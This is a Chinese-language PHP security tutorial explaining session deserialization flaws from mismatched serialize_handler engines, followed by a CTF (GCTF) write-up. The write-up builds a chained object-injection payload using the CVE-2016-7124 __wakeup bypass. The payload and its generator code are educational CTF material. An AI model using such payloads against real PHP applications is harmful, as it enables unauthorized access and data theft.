深入浅析PHP的session反序列化漏洞问题


Posted in PHP onJune 15, 2017

在php.ini中存在三项配置项:

session.save_path=""  --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start  boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler  string --定义用来序列化/反序列化的处理器名字。默认使用php

以上的选项就是与PHP中的Session存储和序列话存储有关的选项。

在使用xampp组件安装中,上述的配置项的设置如下:

session.save_path="D:\xampp\tmp"  表明所有的session文件都是存储在xampp/tmp下
session.save_handler=files     表明session是以文件的方式来进行存储的
session.auto_start=0        表明默认不启动session
session.serialize_handler=php    表明session的默认序列话引擎使用的是php序列话引擎

 在上述的配置中,session.serialize_handler是用来设置session的序列话引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。

php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

php:存储方式是,键名+竖线+经过serialize()函数序列处理的值

php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值 

在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set('session.serialize_handler', '需要设置的引擎');。示例代码如下:

session 的目录在 /var/lib/php/sessions 中

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'spoock';
var_dump($_SESSION);

在 php_serialize 引擎下,session文件中存储的数据为:

a:1:{s:4:"name";s:6:"spoock";}

php 引擎下文件内容为:

name|s:6:"spoock";

php_binary 引擎下文件内容为:

names:6:"spoock";

由于name的长度是4,4在ASCII表中对应的就是EOT。根据php_binary的存储规则,最后就是names:6:"spoock";。(突然发现ASCII的值为4的字符无法在网页上面显示,这个大家自行去查ASCII表吧)

PHP Session中的序列化危害

PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。

如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如:

$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';

php文件如:

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';

访问后得到session文件中的内容如下:

root/var/lib/php/sessions cat sess_e07gghbkcm0etit02bkjlbhac6 
a:1:{s:4:"ryat";s:30:"|O:1:"A":1:{s:1:"a";s:2:"xx";}

但此时模拟在其他页面使用不同的php引擎来读取时的内容如下:(默认使用php引擎读取session文件)

<?php
#ini_set('session.serialize_handler', 'php_serialize');
session_start();
#$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';
class A {
  public $a = 'aa';
  function __wakeup() {
    echo $this->a;
  }
}
// var_dump($_SESSION);

访问该页面输出xx

xxarray(1) {
 ["a:1:{s:4:"ryat";s:30:""]=>
 object(A)#1 (1) {
  ["a"]=>
  string(2) "xx"
 }
}

这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将 a:1:{s:4:"ryat";s:30:" 作为SESSION的key,将 O:1:"A":1:{s:1:"a";s:2:"xx";} 作为value,然后进行反序列化,最后就会得到A这个类。

这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。漏洞在加载使用php引擎的页面时session去读session中的内容并反序列化导致漏洞触发,不需要任何输出

GCTF上的一道session反序列化漏洞分析:

index.php中内容为:

<?php
//error_reporting(E_ERROR & ~E_NOTICE);
ini_set('session.serialize_handler', 'php_serialize');
header("content-type;text/html;charset=utf-8");
session_start();
if(isset($_GET['src'])){
  $_SESSION['src'] = $_GET['src'];
  highlight_file(__FILE__);
  print_r($_SESSION['src']);
}
?>
<!DOCTYPE HTML>
<html>
 <head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
 <title>代码审计2</title>
 </head>
 <body>

 在php中,经常会使用序列化操作来存取数据,但是在序列化的过程中如果处理不当会带来一些安全隐患。

<form action="./query.php" method="POST">    
<input type="text" name="ticket" />        
<input type="submit" />
</form>
<a href="./?src=1">查看源码</a>
</body>
</html>

query.php 中的内容为:

/************************/
/*
//query.php 部分代码
session_start();
header('Look me: edit by vim ~0~')
//......
class TOPA{
  public $token;
  public $ticket;
  public $username;
  public $password;
  function login(){
    //if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉
    $this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){
      return 'key is:{'.$this->token.'}';
    }
  }
}
class TOPB{
  public $obj;
  public $attr;
  function __construct(){
    $this->attr = null;
    $this->obj = null;
  }
  function __toString(){
    $this->obj = unserialize($this->attr);
    $this->obj->token = $FLAG;
    if($this->obj->token === $this->obj->ticket){
      return (string)$this->obj;
    }
  }
}
class TOPC{
  public $obj;
  public $attr;
  function __wakeup(){
    $this->attr = null;
    $this->obj = null;
  }
  function __destruct(){
    echo $this->attr;
  }
}
*/

思路如下:

这题中我们构造一个TOPC,在析构的时候则会调用echo $this->attr;

将attr赋值为TOPB对象,在echo TOPB的时候会自动调用__tostring魔术方法

在__tostring中会调用unserialize($this->attr),因为后面用到token和ticket,所以显然时TOPA对象。后面判断需要$this->obj->token === $this->obj->ticket,所以在序列化的时候进行指针引用使$a->ticket = &$a->token;,即可绕过判断。

至于为什么(string)$this->obj会输出flag,后台写的login可能是__tostring吧。

其中反序列化字符串中会有一个__wakeup()函数清空里面的参数,我问可以通过一个cve来绕过:CVE-2016-7124。将Object中表示数量的字段改成比实际字段大的值即可绕过wakeup函数。

最后的代码为:

$testa = new TOPA();
$testc = new TOPC();
$testb = new TOPB();
$testa->username = 0;
$testa->password = 0;
$testa->ticket = &$testa->token;
$sa = serialize($testa);
$testc->attr = $testb;
$testb->attr = $sa;
$test = serialize($testc);
echo $test;

最终payload为:

|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}

以上所述是小编给大家介绍的PHP的session反序列化漏洞,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!

PHP 相关文章推荐
在PHP中执行系统外部命令
Oct 09 PHP
php adodb操作mysql数据库
Mar 19 PHP
在WINDOWS中设置计划任务执行PHP文件的方法
Dec 19 PHP
php模拟js函数unescape的函数代码
Oct 20 PHP
php计算程序运行时间的简单例子分享
May 10 PHP
php一个解析字符串排列数组的方法
May 12 PHP
实例详解PHP中html word 互转的方法
Jan 28 PHP
PHP截取IE浏览器并缩小原图的方法
Mar 04 PHP
PHP中抽象类和抽象方法概念与用法分析
May 24 PHP
laravel中短信发送验证码的实现方法
Apr 25 PHP
layui数据表格自定义每页条数limit设置
Oct 26 PHP
PHP编程一定要改掉的5个不良习惯
Sep 18 PHP
PHP中phar包的使用教程
Jun 14 #PHP
iis 7下安装laravel 5.4环境的方法教程
Jun 14 #PHP
PHP中关键字interface和implements详解
Jun 14 #PHP
详解php中的implements 使用
Jun 13 #PHP
PHP在弹框中获取foreach中遍历的id值并传递给地址栏
Jun 13 #PHP
php 中的closure用法详解
Jun 12 #PHP
PHP依赖注入(DI)和控制反转(IoC)详解
Jun 12 #PHP
You might like
php对大文件进行读取操作的实现代码
2013/01/23 PHP
Chrome Web App开发小结
2014/09/04 PHP
PHP中使用php5-ffmpeg撷取视频图片实例
2015/01/07 PHP
PHP数组与对象之间使用递归实现转换的方法
2015/06/24 PHP
PHP数组访问常用方法解析
2020/09/05 PHP
jQuery 点击图片跳转上一张或下一张功能的实现代码
2010/03/12 Javascript
元素的内联事件处理函数的特殊作用域在各浏览器中存在差异
2011/01/12 Javascript
JS操作Cookies包括(读取添加与删除)
2012/12/26 Javascript
javascript事件冒泡详解和捕获、阻止方法
2014/04/12 Javascript
JQuery对表格进行操作的常用技巧总结
2014/04/23 Javascript
JavaScript自定义数组排序方法
2015/02/12 Javascript
JS两个数组比较,删除重复值的巧妙方法(推荐)
2016/06/03 Javascript
Javascript创建类和对象详解
2017/05/31 Javascript
JavaScript canvas实现围绕旋转动画
2017/11/18 Javascript
一步一步的了解webpack4的splitChunk插件(小结)
2018/09/17 Javascript
详解vue数组遍历方法forEach和map的原理解析和实际应用
2018/11/15 Javascript
js实现固定区域内的不重叠随机圆
2019/10/24 Javascript
vue 内联样式style中的background用法说明
2020/08/05 Javascript
[01:48]帕吉至宝加入游戏,遗迹战场现“千劫神屠”
2018/04/07 DOTA
[01:06:54]DOTA2-DPC中国联赛 正赛 RNG vs Dragon BO3 第一场 1月24日
2021/03/11 DOTA
python实现简单的计时器功能函数
2015/03/14 Python
用map函数来完成Python并行任务的简单示例
2015/04/02 Python
Python实现复杂对象转JSON的方法示例
2017/06/22 Python
mac 安装python网络请求包requests方法
2018/06/13 Python
详解Python Matplot中文显示完美解决方案
2019/03/07 Python
PYTHON如何读取和写入EXCEL里面的数据
2019/10/28 Python
python通过opencv实现图片裁剪原理解析
2020/01/19 Python
python 画图 图例自由定义方式
2020/04/17 Python
keras 获取某层的输入/输出 tensor 尺寸操作
2020/06/10 Python
维多利亚的秘密官方旗舰店:VICTORIA’S SECRET
2018/04/02 全球购物
伦敦的高级牛仔布专家:Trilogy
2018/08/06 全球购物
大学生工作求职信
2014/06/23 职场文书
2014年保险公司工作总结
2014/11/22 职场文书
2019年大学生职业生涯规划书
2019/03/25 职场文书
《狼牙山五壮士》读后感:宁死不屈,视死如归
2019/08/16 职场文书
mysql性能优化以及配置连接参数设置
2022/05/06 MySQL